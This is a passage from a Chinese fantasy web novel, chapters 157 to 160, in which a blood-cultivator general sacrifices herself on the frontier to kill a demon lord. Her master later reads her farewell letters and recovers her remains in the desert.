封澄越发觉得自己抬不起头来了,她闷闷道:“自己的地盘,能出什么事?” 说罢,她生怕再听赵负雪说一句话,逃也似地冲出了房门,只嘱咐两个哑奴好好侍奉,随即冲出了院子。 徒留赵负雪在屋中,看着被夜风吹得一开一合的门,沉默许久,突然地叹了口气。 哑奴上来,小心翼翼地关上了门。 赵负雪垂下眼,起身吹了灯,随即躺到了榻上。他并不闭目休憩,反而平静地等着什么。 丑时多些,屋顶传来轻微的细响。 好像有只别扭而轻巧的猫,悄悄地落在了屋顶一样,片刻,安静了。 赵负雪又叹了口气。 第157章 第157章谈何容易 独居一方的日子过得十分缓慢,镇北将军府安静无比,只有当封澄回来时,才开始有声息,赵负雪却并不觉得无趣。 这一住,便是数月。 封澄似乎很忙,从前还日日在院中乱晃,后面便时常一连多日见不到人影,再见到人时便是深夜。带着一身血腥味,一声不吭地扎过来。 应当是沐浴过了,衣袍下有清浅的香气。 赵负雪任由她小心翼翼地凑过来,好像躲雨的野猫一样,谨慎地在他的榻前寻到一个不会惊动他的位置,随即小心翼翼地伏在枕畔,休憩片刻。 然后在黎明之前,轻手轻脚地离开。 这样的日子如果一直过下去,赵负雪竟觉得从心底横生了一片宁静。 今夜子时多些,封澄继续取他的灵力,赵负雪垂眸,片刻,道:“为什么杀他们。” 身后的手陡然一停。 封澄本就没觉得洛京这些事会瞒得住赵负雪,可骤然从赵负雪口中说出,她一时间竟不知如何回答了。 赵负雪道:“说实话。” 她有些疲倦,道:“我的人一样会死,且不说他们也该死。” “人去了哪里?” 封澄冷静道:“吃了,我与彭山血修各取所需,这些报酬不为过。” 赵负雪沉沉地闭上了眼睛:“……你呢?” 他的意思是,你也吃了吗? 封澄从心底骤然升起了一阵烦躁,脸色登时一变,她一句也不想解释,冷冷道:“我来你这里,不是为了听这些的,难道事至如今,你还要摆出这副师尊的样子么。” 说着,她鼻尖凑近赵负雪的鼻尖,手抚在他脑后,暗示一般卷了卷他垂在脑后的缚目白绸。 居高临下看下去,白绸遮住了瑰色最盛的双目,令赵负雪平添了几分触手可得的惑人,叫人移不开视线。 气息交缠间,封澄看着他,心中忽然便生了大逆不道的妄念。她鬼迷心窍地看着赵负雪,忽然想:“要是他一无所知,没有灵力,只在我身边做个傻子,那多好啊,我又不是养不了他。” “……我很快,就不在洛京了,”她定定地看着他,“战事又起,我要回长煌,你哪儿也不许去。” 胸口郁气与邪气纠缠不休,正在此时,赵负雪微微抬起了头,封澄不知他被蒙住的目光到底落在哪里,只听沉默片刻,道:“好。” 顿了顿,他又道:“他们不该脏了你的手。受了委屈,我替你料理。” 刹那间,封澄愣住了。 赵负雪重重地闭了闭眼睛,他反手扣上封澄的后脑,将人轻轻地压入肩头,轻声道:“将你逼上这条歧路,是师尊的过错。” 他鲜少自称“师尊”或是什么足以压人的名号,封澄没料到,第一次从赵负雪口中听到这句话,竟然在如此场景。 如梦初醒般,封澄被烫着一般收回了手,心慌意乱地想——刚才怎么能冒出这种大逆不道的想法? 魔与血修行到最后,皆是理智全无的疯子,更何况同入二者,说到底,杀上头时,封澄连自己都觉得是不是着实面目可憎了点儿。 思及此处,封澄猛地站起身来,茫然又无措地跳了下去,随即一声不吭地冲了出去。 太危险了,她想,她这样贪婪而疯狂的人留在赵负雪身边,早晚会把他吞得骨头都不剩。 “我才是赵负雪身边最危险的东西。”她想。 天机主将再度归于长煌的消息传遍了京城,京中几家欢喜几家愁,多数还是不由自主地松了一口气。 以封澄为首的血修在短短时日内凶名赫赫,其众区别于朝廷之外,不设管制,专听从帝王之令,无论是排除异己还是杀人灭口,皆是一顶一的打手。 这批顺手的快刀,用起来甚至不用经过天机所的重重束缚,几乎令人痛快得眼花缭乱。 旧帝所留冗官,沉沉数年、盘根错节的修仙世家,短短不过半年多些,竟被这把快刀斩了三成有余。 而最为离奇的,则是旧代天机,竟然就眼睁睁地看着她蹬鼻子上脸,连赵家都未出面镇压,闹得此人气焰越发嚣张,简直无法无天。 刘润不舍地抓住了她的手,殷切道:“爱卿,此战之后,京中还有你的位置。” 共事这些时候,封澄对这个绵软的皇帝气不打一处来,她无力地摆摆手道:“只望你保全自身,别在我回京之前,被什么人一杯毒酒杀了。” 姜徵抿唇一笑。 他是皇帝,虽拿乔爱大,实则傻得不像个皇室之人,封澄几度试探,竟发觉此人对血池之事一无所知——当皇帝做到这个份上,属实也不多见。 正要离开,封澄却像想到了什么一样,道:“对了,临走前,给人指个婚。” 姜徵提笔的手霎时顿住了,片刻,低下头去,若无其事道:“哪家儿郎啊?先说好,即便是皇帝的指婚,也有管不了的人。” 比如说那位。 封澄不甚在意地摆摆手:“随便谁都行。” 陡然地,姜徵猝然崴了手,她顾不得墨迹模糊的圣旨,拍案站了起来,头上珠钗晃得七零八落:“你疯了?你就这么随心地定了终身大事?” 封澄有些不自然地玩着腰带。 “我得要一个人来压着这群血修,”她道,“他们信不过修士,随时反,找个凡人,找个信得过的指了,有我婚约,便如同有我半身留在洛京,那帮血修即便要翻起风浪,也得顾及我来算账。” 她正在絮絮叨叨,姜徵抬起眼皮看了看她,冷不丁道:“凡人?” 封澄闻言,慢慢地垂下了眼睛。 刘润看了看,识趣地起驾回宫了。 宫室内只有封澄与姜徵二人。 “……” “我不带他去长煌了,”封澄慢慢道,“持劫在边关折腾,闹得动静很大,他留在洛京好一些……搞个婚约,算是叫他怨我多些,日后 也不必想起我这逆徒了。” 姜徵没问,为什么徒儿多个婚约,师尊会生怨。 封澄这些日子常常一副杀红了眼的阴沉模样,连她都觉得有些陌生,姜徵觉得什么都不问大概更好一些。 于是姜徵爱莫能助地拍了拍她的肩,道:“我知道了。” 圣旨下得很快,封澄深夜回府时,哑奴将圣旨小心地递了上来。封澄不甚在意地接过来,去后院一看——空了。 赵负雪走得干脆利落,穷道锁被端然摆在案上,床褥整洁,连屋内的熏香都换了。 看来是够气。 封澄本已料到是这个结局,可见赵负雪走得如此果决,还是忍不住有些不知是什么滋味,沉默半晌,她抬手唤来一人,将一枚小小的吊坠丢给他,道:“送去赵府,说是我赔罪的,叫人一定贴身戴着,不然我亲自去送。” 哑奴不敢作声,捧着吊坠,便一路去了赵府。一旁看好戏的秦楚上来凑热闹:“什么东西啊?值得你巴巴地给人送去。” 封澄研究明日出行的行装,抽空回了她一嘴:“骨头。” 秦楚:“???” 封澄专心致志:“我不能在他身边取灵力了,所以掰了块骨头给他,到时候佩在身上,也能叫他死得没那么快。” 一枚骨头,秦楚看去,才发觉封澄的尾指似乎是短了一节。 秦楚简直感觉自己的灵魂收到了冲击,她魂飞天外,茫然道:“啊?” 一节骨头,说掰就掰,不知道的还以为她剪了一节指甲。 封澄不甚在意地摆了摆手:“骨头换命,这买卖划算得不得了,你不觉得吗。” 秦楚默默地摇了摇头。 不,她最近觉得封澄已经不怎么有活人味了,连自己的骨头都说拆就拆。 人不管别人死活,还能算得上人之常情,可人一旦连自己的死活都不管了…… 秦楚闭了嘴。 次日清晨,黎明将尽,封澄一骑红鬃马,嚣嚣然离去,甚至没有回头看一眼洛京。 京中清剿血池,境外的天魔却因此而蠢蠢欲动。封澄一回长煌,便接二连三地连轴转,数月之间,双方互有胜负,但总算将持劫定在了长煌之外。 凡有作战,难得不伤亡,封澄清完一战,回到中军帐中,迎面撞上神色惊惶的孙小荷——孙小荷做了许久军医,泰山崩于面前却不改色,眼下竟是肉眼可见的苍白,封澄心觉不对,一把抓住了她:“出什么事了?” 孙小荷一见封澄,强行定了定神,片刻,凝眸抬头:“伤员有问题。” 顿了顿,她咬牙道:“伤员之中,出现了疫病。” 陡然间,封澄变了脸色,她道:“疫病?什么疫病?” 孙小荷心不在焉道:“多年前从一头人形天魔身上传来的东西,诨名叫‘春泥’,浑身腐烂,渐成腐泥,可那位天魔也早已被赵负雪所杀,按理说这疫病已消失多年,断无可能再现于事。这几个都是前几日正面对上持劫的将士,怕不是持劫做的鬼。” 封澄想了想,当机立断的吩咐:“即刻封闭伤员营,写书去洛京,派医修下来支援。战事吃紧,染疾者尽早分隔,断不可使其余将士染疾。” 寸金接令,大步流星地下去安排。孙小荷看了她一眼,迟疑片刻,又道: “上次终结此疫,乃是传疫的人形天魔伏诛,恐怕这次疫病感染的并非这几位伤员,你我能控军中之事,民间之事,却是爱莫能助。” 闻言,封澄垂眸,片刻,道:“照这么说,持劫是非死不可了。” 孙小荷道:“谈何容易。” 第158章 第158章认罪 天魔之战,消耗的不仅是边卫,更是一国之本,此战经久,天魔源源不断,朝中反对之声渐起,不过半年,便有主降派主张谈论投降之事。 “割让长煌之北十七城,特封天魔为驻守,运灵石安置……”寸金越念,越觉得荒谬,一旁的秦楚坐不住了,拍案而起道:“他们疯了?怎么不直接把天魔统统编个户籍进来?” 封澄按着眉心,有些心不在焉,寸金将手中信报翻过一页,不住冷笑道:“这还算好的,你可知主降派还有个什么论证?——天魔与人同为天生造物,不过是形貌异些,这世间本就该有他们一片土地。” 长煌宽广,又惯来荒芜,一日日地还得朝廷拨款养着,割给天魔,指不定还有人觉得是赚了大便宜。 闻言,封澄已觉荒谬可笑,抬抬手道:“这种消息听了也恶心,不必说了,药材和灵器批下来了没?” 寸金犹豫片刻,道:“药材已经过了批复,只是灵器,着实不好说。” 帝后已将灵器批下,朝中天机一派却不愿再往这场无望的苦战中投入更多成本了。 封澄深叹了一口气,道:“糊涂。” 天魔与人不可共存,退让之路看似容易,实则正将自己逐渐安入死地。天魔当道,受灾并非只有长煌这地广人稀的荒芜之地,人魔与地魔也会更加凶横,生灵涂炭绝非说说而已。 覆巢之下,焉有完卵。 她沉默片刻,道:“灵器之事倒是好办。我在洛京有些得用人手,说偷就偷,说抢就抢,总归把名头往他们身上扣就行,你只管这么传回去,姜徵知道怎么办。” 闻言,秦楚神色一明,她自是知道这群人的路数,连忙点了点头,忽然想到了什么,她又有些犹豫,道:“将军,还有一事,也要禀报。” 孙小荷正巧掀帘进来,为封澄处理伤口。寸金与她视线稍微交错片刻,会意地去了后面。 封澄抬起手臂由孙小荷换药,秦楚道:“如今血修头领是将军的未婚夫婿,一个叫何守悟的凡人,血修上下对其马首是瞻,此人可信否?” 如此时间,何守悟竟还坐稳了位置,封澄有些意外,沉吟片刻,道:“不可尽信,至少灵器之事是信不得的,寻妥帖人去做。” 秦楚道:“这倒是可惜了,若是能走何守悟这条路,倒是省事许多。” 这般说着,秦楚便下去安置,封澄神色间有些冷厉,道:“我觉得有些说不出的异样,血修这群疯狗吃硬不吃软,何守悟能用得顺这把快刀,要么是拳头够硬,要么……” 寸金意味深长道:“要么有人开了比将军更高的加码,这把快刀捅向将军自己也说不定。” 此言一出,封澄笑笑,她拍了拍寸金的肩膀,道:“若是我死在这把刀下,你便卷走这批灵器,带着天机铁骑快些逃命去吧。” 半开玩笑的语气,寸金也不当真,只叹了口气道;“净说些不吉利的。” 孙小荷将外袍替封澄披上,闻言翻了个白眼。 *** 灵器的运作比想象中顺利许多,第五日深夜,灵兽便陆续将灵器送到,孙小荷一一查过,大大地松了一口气,回头道:“是我要的东西。” 这批灵器小半是为疫病而来,大半仍是供给天机军作战,灵器补给一到,军心大盛,一连打了几场胜仗。 封澄点点头,随即转身离去了。 此夜,天色沉暮。寸金带着一壶酒,掀帐走来,只见盈盈烛火之中,封澄端坐案前,聚精会神地写着什么,寸金有些意外,战事顺利令他精神有些放松,他顺嘴打趣道:“从前师妹最愁这些,怎么如今还自己找上大部头了?” 封澄不动声色地合上了纸卷,抬眼道:“你怎么过来了?” 寸金道:“将军,咱们战事将尽了吧?” 正如世人所喜闻乐见,凶残的天魔节节败退,在天机军的铁蹄下四处溃逃,东面、西面战场同时传来斩杀持劫手下大将的消息,似乎每个人都觉得,持劫大势已去。 尽管胜得艰难,却是漂亮的大胜,就连京中也在预备庆功宴了。 封澄微微闭了闭眼睛,片刻,摇了摇头。 “持劫从前退居境外,实乃镇国神兽坐镇大夏,眼下嚣张必然与镇国神兽脱不了关系,你不觉得打到如今,镇国神兽还未出面便不对了么?” 寸 金愕然点了点头。 “世间正气邪气本为势不两立,现下如今神兽退避,正气不足,邪气便盛。如若不将持劫彻底清剿,他早晚会卷土重来。” 到时候的神兽仍然不出山,长煌必再遭一次战乱之火。 寸金皱眉道:“持劫惯不以真身示人,且逃命手段无数,如何能彻底清剿?将其之众赶出长煌,已经是眼下尽力之事了。” 而封澄却闭口不言,片刻,她道:“我只是忽然疑惑,为什么神兽会退守,哪怕持劫会突然发难,祸及大夏。” 寸金道:“神兽自尊者出世便不在宫中了,也不是这两年的事情了。” 封澄却还是皱眉深思:“……还有一事也不对。” 寸金道:“什么不对?” 封澄沉吟片刻,道:“你觉不觉得,人形天魔的数额不对?” 此言一出,寸金当即皱了眉,片刻,猛地抬起头,道:“这么说的确!此次大战,所杀人形天魔总共二百余七头……怎么会这样?” 封澄道:“……既已打到了这里,无论如何,只能硬着头皮打下去了。” 寸金的点了点头,片刻,犹犹豫豫地在帐中踱步几圈,封澄瞧出他心中所想,有些疑惑,道:“你在想什么?” 他犹豫片刻,才道:“将军,春泥之疫已在军中得以控制,今日拉舍尔部中疑似出现了疫病之人,孙姑娘已带灵器与人去拉舍尔部了,只是不光在这里,边关几州也有疫病流行……啊,孙姑娘已经来说过了。” 寸金后知后觉地看到了封澄桌上的文册,只是令他奇怪的是,封澄实在平静太过,只轻叹一口气,道:“我知道了。” 眼下青黑,看起来很疲倦,寸金住了口——这几日最忙的便是封澄,连日操劳,已然疲倦无比,于是他小心噤声,只叙了两句,便寻摸着找个借口离去,还未转身,忽然封澄叫了他一声。 “……我的文书和官印在榻下那口箱子里,”她道,“要用的时候别找错了地方。” 平白无故的要那些东西做什么?寸金不明白,嘴上应了一下,便转身离去了。 走出帐子不远,便撞上了不知何时站在帐外的秦楚,他正要开口,秦楚猛地冲他比了个嘘声。 待二人走到远离中军帐时,秦楚才松开了寸金,眉宇间有几分异样神色。 寸金奇怪道:“你今日怎么了?” 秦楚道:“……我觉得将军不太对。” “……” “她看起来实在太过平静了,”秦楚道,“就好像已成竹在胸,确凿这疫病不会传出去,不会多伤一人一样,甚至连拉舍尔部的伤亡如何都没有开口去问。可将军从前可不是这样的人。” 寸金道:“兴许是太累了些,这几日将军天天带兵亲征,人毕竟不是铁打的。” 闻言,秦楚微微皱了皱眉,她在洛京与封澄生活多日,又天生带一分女性的敏锐,几乎本能般,她觉得将有大事。 “少她一个也不是打不了,剩些游兵残勇,谅持劫翻不起什么风浪,”秦楚道,“这几日万万莫要叫将军冲前线了。” 本该坐镇中军的天机主将,一而再、再而三地冲前锋,秦楚觉得封澄并非嗜杀好战之人,与此行径上有一个更加呼之欲出的答案。 她看起来像是不想活了。 战事无常,一朝大胜,却不料又一朝反扑,不过短短三日,大胜局势所带来的喜悦与安定便被骤然破开,持劫残军埋伏,前线后退,另有被俘者百余人。 众人没料到垂死挣扎的天魔竟在持劫手中如此凶悍,一时之间,血流成河。 封澄的预料是对的。 声嘶力竭中,寸金无暇去想,他已杀红了眼,他分不清是天机军的灵器与阵芒,还是天魔的利爪与魔气,混乱的血气将他的整片神智扫之一空,甚至很久很久之后,他的记忆都并不清晰。 杀声震天中,天魔持劫落在了群魔之上,寸金抬起了头,耀目的光斑刺着他的双目。 明明是阴阴沉沉的冬日,竟然有这么灿烂的太阳么,寸金莫名想。 不对! 这不是日光! 陡然间,滔天大阵仿佛一轮落下的太阳般咆哮着笼罩了持劫,寸金的耳膜骤然被秦楚的声音刺破:“不要——不要!!不要!!!” 持劫猛地色变,他怒喊道:“封澄,你疯了!” 回答他的只有一只破着血肉的手。 她的血肉像是鳞片一般,碎屑纷纷,清晰的伤在皮肤上一片一片地绽裂而开,随之而起的是刺眼的白芒。 “和我一起赎罪。”她身体破碎,手却牢牢地锁住了持劫的喉咙,随即转身道;“退!” 秦楚的双眼几乎要绽出血丝,封澄又怒道:“不退,全都得死在这儿!” 在一片炫目之中,秦楚强行拉回了自己的理智,连带着扯着咆哮不止的寸金,决绝而毫不犹豫地向后退去。 一片尘芒之中,血肉的封锁如同一道环环的扣,严丝合缝,将持劫牢牢地钉死在了原地之中。 粘稠的金沙将他的身体一寸一寸地包裹,他勉力撑起一只眼睛,死不瞑目道:“以命换命之禁术,永不超生之死咒……封澄,你不想要一个善终。” 她的身体已然残破,却仍旧留着支撑她站立的力气,身体四处迸裂的身体无孔不入地侵犯着她的神经,而封澄只觉得前所未有般松快。 这么狼狈,这么没用,这么糊涂的一生,总算有个尚且划算的归处。 金沙将持劫的身体缓缓弥漫,他一点一点,一点一点地沉入大漠黄沙之中,再也没有声息。 生命在渐渐地流失,封澄撑着残破的身体,茫茫天地间,只茫然地向前走着。 黄沙密不透风,几乎叫人想要就地醉死在原地。 就这么睡吧,在茫茫的黄沙之中,不要求任何归途吧。 “我有想去的地方。”封澄的意识已经模糊,心头却生了个前所未有的念头。 我不能倒在这里。 我有想要去的地方。 “……” 可是那地方在哪里呢? 封澄忽然就记不清了。 远远处,似乎有哒哒的马蹄,耳中似乎有另一道陌生而居高临下的声音。 “逆臣封澄,受缚回京,向天下谢罪!” 她有罪吗? 她有什么罪? 怔怔间,她垂下眼睛,目光空洞地落在了腕间的红绳上。 这条红绳染了血污,不知是她的,还是魔的。 是的,她想,这才是她的罪。 将堕炼狱的,虔诚而永不休止的苦望。 “我不认罪。” 红绳炙目而热烈。 我不认罪。 第159章 第159章至死方休 千里急信,送到了洛京赵府。 赵年接待信使,眉毛紧紧皱着,此时赵府已然冰封,等闲信件一概不许送来,如今这封千里加急,却是叫着十万个即刻亲启。她去一见,只见一男子神色怔忪地半倚在府门前,穿着一身灰扑扑的衣甲,以及灰败脏乱的脸。 哪来的野人,赵年想。 “……” “尊者闭关,概不见客。”她话方落下,那人便抬起眼来,目中杀意与悲意横生,甚至在一刹那间,赵年觉得此人想要杀了她。 “……叫他出来。”男子坚持道。 赵年沉默片刻,随即一言不发,头也不回,提步就走,门口的赵家府卫心领神会,抬手便要将这狼狈的信使拖出去,忽然间,赵年的身后传来了一道轻声。 “尊者薄情至此,他亲手养大的徒儿死了,却连丧信也不肯收吗。” 陡然间,赵年僵在了原地,随即她脸色大变,转身三步并作两步冲向那信使,玉白且保养得宜的双手死死地扣住了他肮脏的肩甲;“你说什么!?!” 这一凑近,她才看出眼前这信使实在是太过眼熟——不是寸金又是谁? 寸金颓然僵着,半晌,慢慢地抬起了手。 袖中一只储物袋,封着里三层外三层的禁制,紧紧地贴在他的手臂上。 “这是她留给赵负雪的东西。” 赵年傻了,她耳中嗡鸣,不知道自己是怎么接过这只储物袋,又是怎么在寸金绝望而可笑的眼睛中走回去的。 她却不知,方才离去,身后的寸金便陡然软倒在地,一旁的侍从吓了一跳,连忙将人扶起,小心谨慎地安置到外面去。 她攥着那只锦囊,站在赵负雪的闭关之地前,冰冷的霜花一层一层地绽出来,透过沉重的石门,轻飘飘地落在她的身上。 储物囊是女儿家的东西,小小一只,鹅黄的,缠着一根血似的红线,蜿蜒地躺在她的掌心上。 她死了。 那么骄横野蛮,那么目中无人,那么天之骄子的人,死在了渺无人烟的长煌大原。 她原来是会死的,赵年眨了眨眼睛,忽然感觉面上湿漉漉,一摸,一手的冰凉。 府外隐隐有欢呼着庆功的声音,声势浩大,人人叫好。 是场了不得的胜仗。 真是可笑,赵年想,封澄这倒霉孩子,坏事做尽,遭了报应,连自己的庆功宴都赶不上呢。 赵负雪的状态一 天差过一天,刻在骨子里的反咒好像突然犯了疯病一样,一日日地反噬着他的身体,赵氏宗老寻遍古籍,愁得一夜白头,也想不明白,怎么好端端的他身上竟露出了死态。 想到这里,赵年深吸一口气,良久,才抬手叩了叩他的门,屋内寂然无声,片刻,开了一道门缝。冲面而来的寒气几乎将她眼眶冻住,她屏息凝神,沉声道:“……封将军给您寄来了信。” 寒流刹那间淡了些,赵年知道赵负雪听见了,于是小心翼翼地将锦囊放在了赵负雪的石案上。 几乎能察觉得到,灵力缓缓地向赵负雪身上收去,估计过个一日半日的,赵负雪便能起身看信了。 赵年心事重重地离开,耳边忽然传来又一人急报。 “封澄私自倒卖灵器一事败露,血修统领何守悟自行出面大义灭亲,带着天机令去寻罪人位置,现如今人马该到长煌了。” 闻言,赵年眉心又是一突,她深吸一口气,强撑着自己定了心智,随即理了理思绪,果断道:“即刻派人,前去长煌。无论如何,将她亲卫保下。” 世事生变,寸金的讣告绝不出错,而既然封澄已死,而突然反水、错失封澄死讯的的何守悟,一定会将抓不到人的怒火施加到天机铁骑上。 罪不及其,前提是惠不及其,而法不责众,他们自然不能将享用了灵器之利的天机军一个个抓起来杀了,最适合开刀的,则是封澄手下那批几乎只听信于她的亲卫军。 “要快,”赵年着重强调,“不计代价,用最快的车马,烧最好的灵石。” 侍卫听诺,随即转身,果决地去布置人马。 赵年回过身,青花罩衣与素白裙摆在冷风中猎猎而飞。 …… 世将生变,她想。 封澄已死。 她原本预想的,会刺穿夜幕大夏的长枪,折了。 ** 在晦暗不明的寒流中浮沉不知多久,赵负雪终于睁开了眼睛。 禁地内的霜雪将石壁覆盖了一层牢牢的霜花,连呼一口气都要成冰,一片灰暗的冰芒之中,他只一身素色白衣,漆黑长发如同此室唯一流动的水一样披在身后,漆黑眼睫,苍白皮肤,像雪中的美丽精怪,或是显灵的神像。 他伸手按了按胸口,微微蹙了蹙眉。 反咒忽然乖顺了,并不是从前彻骨的冰凉,而是隐在血脉之中,一跳,一跳,竭力挣脱似的。 像一颗声嘶力竭的心脏,赵负雪想。 身体的怪异令他难得地多有了几分精神,此次贸然止住闭关,实在是重新将经脉伤一遍的举措,赵负雪并不在乎这些,只是粗略地算了算,以这具急转直下的身体,还能再撑几年。 撑得住封澄回京吗?赵负雪想。 好在她寄信回来了,小小一只锦囊,并不是平素那些官腔的问候。 赵负雪手指不停地拆开了锦囊。 刹那间,雪白的纸片从中迸裂而出,飘飘而飞,几乎像室中的另一场大雪,几乎能将人埋进去。 “今天是参军的第一天,好想你啊,师尊,”她写,“小兵没有帐篷,我旁边睡着个年轻的姐姐,她打呼噜。” 像是灯火不明的样子,她的字陆续跑偏,在纸上像一行荒腔走板的蚂蚁。 “我想洛京,想天机院,也想你,但是说出来,会不会太孩子气,太不可靠些?” 赵负雪心想,不会。 “我觉得你会这么想的,毕竟你当我是孩子,什么都不肯告诉我。” 小丫头越写越火大,笔走龙蛇,眉飞色舞起来。 “我不会当很久的孩子的,”漆黑的墨迹大剌剌地横在泛黄的信纸上,“等我成了大将军,我要风风光光地回洛京!” “……到时候,”她写得很小,“能不能问问,向你家提亲,门槛有多高啊?” 最后这行被慌乱地划去了,划得乱七八糟,像一颗年轻而莽撞的心。 这封信没有落款,没有邮戳,只有一张光秃秃的纸,塞在一只鬼鬼祟祟的锦囊里。 禁制很多,他莫名想,仓鼠藏皇粮,不过如此。 “师尊,教学生是不是一件很累的事?”又一封信写,“我做上小队长了,带三十个人,从前我觉得天机院的少爷够多了,眼下才知,原来天机营里的少爷更多。你知道这里的天魔有多么容易打么?都不用剑修,只要个修士带着灵器,出去便能杀一片。他们说,是师尊早些年将大魔杀得不敢露面了,才叫我们这么平安,大家都很喜欢师尊。” 小姑娘有些沮丧地写,“可是这也太没含金量了,我有些怀疑,要杀多少天魔才够得上将军的位置?杀天魔简直跟杀只鸡一样嘛。” 不能当大将军的失望跃于纸上,赵负雪看着,心里想:不能做大将军这么失望吗? 要提亲,小队长也可以。 不知是不是看得太过入神,胸腔里的反咒也不拼死挣扎了,它一点一点地平静了下来。 往前数十年从来没有这样平静而充盈的时刻。 “我打胜仗了,”封澄写,“大胜,姜逢即便看我再不顺眼,也得提拔我咯。拉舍尔部有很好吃的风干牛肉,里面的姨姨们很好,上次我衣服烂了,是姨姨们给我补的,绣了一只狼,我要了白色的,觉得很像师尊。” 她又写:“可我觉得害怕了。战火无情,生死也不由人,太险了,我亲眼看着天魔的刀削下了半个人头,那个人前几日还来送过好吃的牛肉干。” “我打了胜仗,我没有那么好吃的牛肉干了,我做了几天噩梦。” 赵负雪垂了垂眼睛,指尖有些用力。 “对不起,”她写,“我不是故意留下沈怀玉,他的脸和师尊肖似,我不是想要唐突侮辱师尊………对不起。” 字字犹豫。 赵负雪不知道那沈怀玉长什么样子,他甚至从没注意过他的脸,更从不觉得什么冒犯。 气什么?怨什么? 他怔怔地,忽觉心头涌起一阵涩意。 赵负雪摸了摸雪白的纸张,狼狈撑在桌上,不防翻过另一纸信。 “我时常在想,”封澄道,“行道如今,有何大用。” “从前一人一剑,天地便自由,世上无我不可做之事,无我不可思之人。师友亲朋,尽在身侧,唯一所苦之事,只有心念之人如水中之月,触手不可得。” “直到我清晰地明白,身侧之人,我一个也护不住。” “我宁愿深陷炼狱的人是我。” …… “今夜开始饥饿,我疯狂地想要杀些什么,或是被杀也可以,好不容易平静下来,写的东西乱七八糟的,如若有朝一日你能看到,万万不要嫌弃我。” “当年殷切期望的大将军也不过如此。无数倍于当年的力量在我身上,师尊,没用的人还是没用。” “好像不能来赵府提亲了,下辈子我会再来试试的,一想到这件事,我开始忍不住期待下辈子,人会有来世的吧?” 最新的一封信,墨迹还透着药香。 “留给天机军的文件太多,”她写,“想要给你留一封信,提笔总不知道如何落下。” “很多人手上有疫疮。”封澄写,“我的亲军也没逃过,他们太年轻了,有人还是孩子,希望无穷,生机勃发。而持劫不死,战乱不休,我护不住的东西太多,唯有这件事,可以试一试。” “他们或许会因我离去而伤心一时,但想必不会多久。往后人生,尚且大好。” “辜负师尊教诲,任性离去,抱歉。” “未出口之言,忍我再任性一次。” “我至死恋慕于你。” “……我放过你。” 刹那间,漫天风霜骤逢春雪,片片消亡,恍如飞花。 他清晰地感觉到血脉中的心跳停歇了。 “砰砰——砰砰——” 陡然取而代之的,是胸中沉积多年的、猛然滔天而起的汹涌疼痛。 这痴恋甘过砒霜,不死不休,而痛彻心扉。 反咒解开了。 赵负雪双手撑在书案上,眼眶中的泪水流 了满面,一滴一滴,重重地砸在了书案上。 至死不休的痴恋,绝不放开的妄念,消失得一干二净。 她终于放过他了。 至死而终。 第160章 第160章忠臣 大漠,黄沙四起。 寸金醒后,向他告知了封澄与持劫同归于尽之地。 她没有死去,赵负雪着魔般想,只要没见到尸骨,她就在世间的哪个角落好好地活着。 寸金看向他的眼睛十分怨恨:“你当年一定有机会救她的。” 赵年脸色一变,眼神偷偷地往赵负雪身上扫了一眼。所幸他看起来十分正常,完全没有丝毫的异样,冷静得像个生疏的师尊。 怎么会这样?赵年百思不得其解。 飞扬的黄沙遮天敝地,越往北去,黄沙越大,晨昏线在大漠中不歇地轮转,最终,他行到了一处罕为人知的村寨。 说是村寨也是太过夸张了,这地方几乎只有几户人家,他捏着封澄的断指,怔怔地站在了村落之前。 如血残阳将他的雪白衣摆浸在黄沙中,赵负雪恍惚间发觉,风不知何时,已经休止了。 这里是风息之处,连风在这里都不自由。 一座矮矮的新坟立在他面前,墓碑粗糙,只是一块不大的木头,被打磨得很认真,只是没有姓名。坟前一束雪白的小花,是大漠中少见的美丽。 赵负雪忽然注意到一旁还有另外两座坟墓,一大一小,只是看起来有些年头了。 一旁晒着肉干的健壮女子探过头,道:“公子,哪来的人啊?” 他垂着双眼,并不回答,掌心的骨骼隐隐发烫。 女子正奇怪这沙漠里少见的俊秀公子,忽然间,公子俯下身,不管不顾地扒那座新坟,女子吓了一跳,反应过来便想喊人,一低头,视线却停在了男子手腕的红绳上。 红绳的末端,系着一枚小小的指骨,应当是左手的小拇指的骨头。 女人忽然就想起,躺在黄沙下的那人,也少了一枚小小的指骨。 “……” 她沉默良久,忽然转身,随即拖了一杆铁锹来,往手上呸呸两下,随即道:“闪开,我来。” 那公子一看就是文弱人,又单薄又清瘦,久病初愈般,女子不禁心中有些叹息——靠这副摇摇欲坠的身体,他找了多久? 不料男子并未让开,而是仿佛没听见一般,固执地挖开那座沙土还新鲜的坟,坟墓挖得并不深,不过片刻,便露出了一块雪白的骨头。 赵负雪骤然停了手。 女子在一旁见着,心里也不好受,她轻声道:“我捡着她的时候,只剩骨头了,不知道她生前遗容怎样,死得安详与否,抱歉。” 其实不用说也明白,一个小姑娘,孤身死在大漠深处,怎么会是善终呢? 男子跪在墓前,沉默许久。久到她几乎有种错觉,仿佛他想要一起睡在里面一样。 她警惕地捏着铁锹,预备着若他忽然找死,就先把人敲晕。 幸好,沉默良久,他轻轻地抬起了手,珍重无比地抚去了白骨上的沙尘,露出了一具雪白的骨骼。 他脱下了外裳,目不转睛,一根一根地,将骨骼轻轻地包起。 “多谢,”女人听见他干涩的声音,“令她免受暴尸荒野之痛。” 女人没料到他忽然会说话,吓了一跳,随即她便不好意思起来;“哎呀,这倒是没什么,总不能叫一个小姑娘在外面孤零零的不是?叫我嬷嬷来陪陪她,估计她也高兴呢,她就喜欢小女孩。” 赵负雪的眼睛向一旁的坟上一落,忽然便被那墓碑上的几笔画像吸引了视线。 ……他见过这个人。 女人察觉到了她的视线,兴致勃勃道:“像吧?我嬷嬷都说像,去洛京找大师画的呢,用灵石!” 她摸着嬷嬷的墓碑,还在说些什么,自顾自地讲得尽兴,猛一抬头,却早已不见了那男人的踪影。 一旁的铁锹上挂着什么,她被灵光刺了一下。 “我的乖乖。”她喃喃地抬起头,望着那男人离去的方向,震撼得无以复加。 一枚色泽温润的玉,上面刻着第一天机世家的族纹。 赵负雪拥着轻飘飘的骨头,身体机械地走着,魂魄却不知沉去了哪里,他怔怔地想,生前明明折腾爱笑的一个姑娘,怎么死了之后,轻成这个样子呢? 好像一不抓紧,就会飘飘飞走一样。 不知在大漠中孤身行了多久,在一个黎明即将划破天幕时,他回到了洛京。 一进洛京,他直奔禁地,一进,便是半年。 赵年忧心忡忡,终于借有事相商之名,走进了禁地里面,一进去,她登时被眼前之景骇了一条,当即脸色大变。 